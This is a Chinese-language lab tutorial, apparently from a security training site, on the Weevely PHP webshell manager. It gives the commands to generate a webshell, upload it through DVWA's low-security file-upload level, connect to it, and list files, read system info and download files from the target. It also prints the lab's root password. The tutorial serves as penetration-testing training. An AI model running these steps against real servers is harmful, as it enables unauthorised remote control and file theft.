菜刀linux版-Weevely配置使用

Weevely配置使用

实验目的

熟悉Webshell管理工具Weevely的配置使用。

实验环境

操作机:Kali2018-TS

1)操作系统:Kali Linux 2018.4

2)登录账号密码:操作系统账号root,密码Sangfor!7890

靶机:A-SQLi-Labs

1)操作系统:CentOS 7

2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

3)登录账号密码:操作系统账号root,密码Sangfor!7890

实验原理

Weevely是一款Python编写的Webshell管理工具,它最大的优点在于跨平台,可以算作是Linux下的一款菜刀替代工具(限于PHP)。

实验步骤

1.启动Weevely

在操作机Kali2018-TS上点击桌面左上角菜单“Applications”->“10-Post Exploitation”->“weevely”,启动Weevely:

2.利用Weevely生成专用Webshell

在终端下输入以下命令,利用Weevely生成专用Webshell:

weevely generate 123456 /usr/muma.php

//说明:生成的Webshell文件名为muma.php,保存于/usr路径下,连接密码为123456

3.利用靶机的文件上传漏洞,将此Webshell上传至靶机

1)在操作机Kali2018-TS上启动Firefox浏览器,在地址栏中输入以下URL访问靶机上的DVWA网站:

http://[靶机IP]/dvwa/

(注意大小写)

2)成功登录DVWA网站后,在网站主页左侧菜单选择DVWA Security,将网站的安全级别设置为“Low”:

3)在DVWA网站主页左侧菜单选择“File upload”进入文件上传训练关卡,将muma.php上传至靶机,并记下文件上传的路径:

4.利用Weevely远程连接Webshell,并获得靶机的控制权

1)在Kali终端下输入以下命令,利用Weevely远程连接刚刚上传至靶机的muma.php:

weevely http://[靶机IP]/dvwa/hackable/uploads/muma.php 123456

连接成功后,直接输入回车即可获取靶机的shell:

2)获取靶机的shell后,可以像操作本地主机一样,对靶机执行一些远程操作,如用file_ls查看文件和目录:

system_info查看操作系统信息:

file_download将远程目录下的文件下载到本地:

实验至此结束。

实验总结

本次实验,熟悉了Webshell管理工具Weevely的配置使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容